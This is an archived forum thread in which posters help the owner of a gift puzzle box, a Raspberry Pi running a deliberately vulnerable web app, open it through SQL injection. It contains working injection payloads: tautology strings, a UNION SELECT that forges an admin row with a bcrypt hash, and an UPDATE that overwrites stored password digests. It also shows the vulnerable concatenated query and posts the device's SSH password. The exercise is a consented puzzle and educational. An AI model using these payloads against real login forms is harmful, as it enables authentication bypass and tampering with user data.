let's solve the mysteries that is ~the puzzle box~

The Something Awful Forums > Archives > Comedy Goldmine > let's solve the mysteries that is ~the puzzle box~

«‹›4 »

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

CRIP EATIN BREAD posted:

username: admin
password: 'xxxx

' doesn't work in the password field, only the username field

CRIP EATIN BREAD posted:

' OR 1=(SELECT name FROM sqlite_master WHERE type='table');

see if we can figure out what needs to be updated

wrong username

suffix posted:

does expanding the backtrace give you more of the surrounding code ?

i can click on any of those statements and it gives me code. first statement gives me:

code:


    # Returns a Statement object representing the given SQL. This does not
    # execute the statement; it merely prepares the statement for execution.
    #
    # The Statement can then be executed using Statement#execute.
    #
    def prepare sql
      stmt = SQLite3::Statement.new( self, sql )
      return stmt unless block_given?

      begin
        yield stmt
      ensure
        stmt.close unless stmt.closed?
      end

line 91 is stmt = SQLite3::Statement.new( self, sql )

# ? Feb 3, 2016 02:07

Adbot: ADBOT LOVES YOU

# ? Apr 27, 2024 05:48

creatine: Jan 27, 2012

you should just start a twitch stream or something

# ? Feb 3, 2016 02:09

MrMoo: Sep 14, 2000

treasure bear posted:

admin' OR 1=1 time

For the username field you will actually have to add the username.

# ? Feb 3, 2016 02:11

Lain Iwakura: Aug 5, 2004; The body exists only to verify one's own existence.; Taco Defender

/usr/src/app/web.rc

please expand that

# ? Feb 3, 2016 02:11

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

I could but 90% of it would be me umming and erring and I dont think that'd be entertaining

unless someone wanted to get on a call with me to explain poo poo

# ? Feb 3, 2016 02:11

suffix: Jul 27, 2013; Wheeee!

expand the lines from web.rb, that should be the stuff we need to hack

# ? Feb 3, 2016 02:12

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

yeah gently caress sinatra poo poo

also there was some poo poo in /home/pi/Documents post that code as well

# ? Feb 3, 2016 02:14

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

MrMoo posted:

For the username field you will actually have to add the username.

did that, got 1 line of code back in the backtrace

code:

/usr/src/app/web.rb in block in <top (required)>

get '/' do
  @title = 'welcome to the puzzle box'
  haml :index
end

post '/step1' do
  rows = db.execute <<-SQL
SELECT
  id, username, password_digest
FROM users
WHERE
  username = '#{params[:username]}'
SQL
  if rows.empty?

hello there, I have tables.

believe me when I say that I'm actually trying commands in between posting to see if I can figure out a step before posting

i think the next step is to somehow either drop the table, or find a way to print the password

or see if we can print other users

i may be incredibly wrong though

my syntax is probably all wrong

# ? Feb 3, 2016 02:21

vodkat: Jun 30, 2012; cannot legally be sold as vodka

I have no security expertise, or anything to add to this thread really, I just wanted to say this is both an extremely pro thread and an even more pro yosmas gift.

voted :five:

# ? Feb 3, 2016 02:23

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

vodkat posted:

I have no security expertise, or anything to add to this thread really, I just wanted to say this is both an extremely pro thread and an even more pro yosmas gift.

voted

agreed. this is actually teaching me something, which is probably the best thing

wish i was smarter so i could figure more things out by myself though

# ? Feb 3, 2016 02:25

craisins: May 17, 2004; A DRIIIIIIIIIIIIVE!

for the username, try:
' OR 1=1; --

# ? Feb 3, 2016 02:25

suffix: Jul 27, 2013; Wheeee!

we might be able to just make up our own user by injecting the appropriate sql...

let's see.. maybe something like

username:
' UNION SELECT 1 as id, 'admin' as username, '$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa' as password_digest --
password:
my password

e:
this should make the final sql something like "SELECT id, username, password_digest FROM users WHERE username='' UNION SELECT 1 as id, 'admin' as username, '$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa' as password_digest -- '"
we start with "'" to close the string, inject an extra row with union, and then start a comment with "--" to discard the original ending "'"

i tested it in the sqlite3 cli

code:

sqlite> create table users(id int, username string, password_digest string);
sqlite> SELECT id, username, password_digest FROM users WHERE username='' UNION SELECT 1 as id, 'admin' as username, '$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa' as password_digest -- '
   ...> ;
1|admin|$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa

suffix fucked around with this message at 02:32 on Feb 3, 2016

# ? Feb 3, 2016 02:27

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

password:

code:

'; UPDATE users SET password_digest='$2a$10$1pE6DmRFO9Hi/rt/30.MOeOHmcjqoGF6UTC7mY3UvyPNIYuoBmlTe'; --

edit: gently caress beaten, but now username is admin, password is "password"

CRIP EATIN BREAD fucked around with this message at 02:33 on Feb 3, 2016

# ? Feb 3, 2016 02:29

treasure bear: Dec 10, 2012

you probably don't want to risk messing up the existing data if that can be avoided

i think sqlite let's you use multiple queries just separated by semicolons

edit: yeah

# ? Feb 3, 2016 02:30

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

treasure bear posted:

you probably don't want to risk messing up the existing data if that can be avoided

i think sqlite let's you use multiple queries just separated by semicolons

edit: yeah

probably a good idea

# ? Feb 3, 2016 02:31

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

something happened

_{something happened}

# ? Feb 3, 2016 02:33

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

hope you loving unlatched it

# ? Feb 3, 2016 02:33

treasure bear: Dec 10, 2012

or bricked it

# ? Feb 3, 2016 02:34

craisins: May 17, 2004; A DRIIIIIIIIIIIIVE!

CRIP EATIN BREAD posted:

hope you loving unlatched it

hope the front latch was shut and the servo burnt out

# ? Feb 3, 2016 02:34

creatine: Jan 27, 2012

# ? Feb 3, 2016 02:34

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

# ? Feb 3, 2016 02:34

craisins: May 17, 2004; A DRIIIIIIIIIIIIVE!

Migishu posted:

something happened

_{something happened}

what was the action/username/password that did something?

# ? Feb 3, 2016 02:35

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

YES!

what code did it?

# ? Feb 3, 2016 02:35

suffix: Jul 27, 2013; Wheeee!

CRIP EATIN BREAD posted:

password:
code:
'; UPDATE users SET password_digest='$2a$10$1pE6DmRFO9Hi/rt/30.MOeOHmcjqoGF6UTC7mY3UvyPNIYuoBmlTe'; --
edit: gently caress beaten, but now username is admin, password is "password"

i don't think that will work, since the documentation at https://github.com/sparklemotion/sqlite3-ruby says

quote:

By contrast, the other means of executing queries will only execute the first statement in the string, ignoring all subsequent statements

you could do it in a subquery though

# ? Feb 3, 2016 02:35

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

WE GOT SOME STICKERS

AND SOME BOOZE

i'm the purr programmer sticker :nsa:

thank you once again cocoa crispies, this was a bomb rear end gift.

now to figure out how to lock it out

CRIP EATIN BREAD posted:

YES!

what code did it?

code:


username:
' UNION SELECT 1 as id, 'admin' as username, '$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa' as password_digest --
password:
my password

# ? Feb 3, 2016 03:03

Raluek: Nov 3, 2006; WUT.

Migishu posted:

WE GOT SOME STICKERS

AND SOME BOOZE

i'm the purr programmer sticker

thank you once again cocoa crispies, this was a bomb rear end gift.

now to figure out how to lock it out
code:
username:
' UNION SELECT 1 as id, 'admin' as username, '$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa' as password_digest --
password:
my password

... is that a netapp "rectal use only" sticker? wat

# ? Feb 3, 2016 03:07

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

Also if you want to play around with it

http://pb.bf1c.us/

# ? Feb 3, 2016 03:11

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

source: https://github.com/bkerley/puzzlebox/

Migishu posted:

now to figure out how to lock it out

ssh pi@10.219.219.1

password: ErpafRoan

backing out the configuration changes in https://learn.adafruit.com/setting-up-a-raspberry-pi-as-a-wifi-access-point/install-software will help you get it on your own wifi

disable hostapd and isc-dhcp-server services in systemd, fix /etc/network/interfaces , and i think it's a wpa-supplicant file to put your wifi info in

e: also the pi is just velcro'd in, but most of the other stuff is glued on

# ? Feb 3, 2016 03:14

craisins: May 17, 2004; A DRIIIIIIIIIIIIVE!

Cocoa Crispies posted:

source: https://github.com/bkerley/puzzlebox/

ssh pi@10.219.219.1

password: ErpafRoan

backing out the configuration changes in https://learn.adafruit.com/setting-up-a-raspberry-pi-as-a-wifi-access-point/install-software will help you get it on your own wifi

disable hostapd and isc-dhcp-server services in systemd, fix /etc/network/interfaces , and i think it's a wpa-supplicant file to put your wifi info in

e: also the pi is just velcro'd in, but most of the other stuff is glued on

you're awesome- this is cool as poo poo

# ? Feb 3, 2016 03:21

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

this thread owned

goldmine

# ? Feb 3, 2016 03:30

suffix: Jul 27, 2013; Wheeee!

we did it

migishu ur a true hacker now

# ? Feb 3, 2016 03:46

big scary monsters: Sep 2, 2011; -~Ｓｋｕｌｌｗａｖｅ~-

good present, good thread, well done everyone

# ? Feb 3, 2016 03:48

Migishu: Oct 22, 2005; I'll eat your fucking eyeballs if you're not careful; Grimey Drawer

i'm probably going to keep it mostly as it is. going to find a way to code in the lock sequence in the admin page and keep stuff in it

this was cool as hell and i learned something, and i have that yearning to learn more

# ? Feb 3, 2016 03:54

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

non-prepared sql statements ftw

# ? Feb 3, 2016 04:08

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

CRIP EATIN BREAD posted:

non-prepared sql statements ftw

fun fact: binding parameters in the sqlite3 c api is way easier than concatenating strings together in c

# ? Feb 3, 2016 04:12

Lain Iwakura: Aug 5, 2004; The body exists only to verify one's own existence.; Taco Defender

this was great

# ? Feb 3, 2016 04:18

Funhilde: Jun 1, 2011; Cats Love Me.

I don't know anything about programming but wanted to say that this was a freaking rad gift.

# ? Feb 3, 2016 04:30

CRIP EATIN BREAD: Jun 24, 2002; Hey stop worrying bout my acting bitch, and worry about your WACK ass music. In the mean time... Eat a hot bowl of Dicks! Ice T; Soiled Meat

Cocoa Crispies posted:

fun fact: binding parameters in the sqlite3 c api is way easier than concatenating strings together in c

yeah the sqlite3 api is really good.

i ported some poo poo for it on an ancient (re: early 1990's codebase) and i ended doing a lot of work in the sqlite api because it made poo poo so much easier/safer

# ? Feb 3, 2016 04:33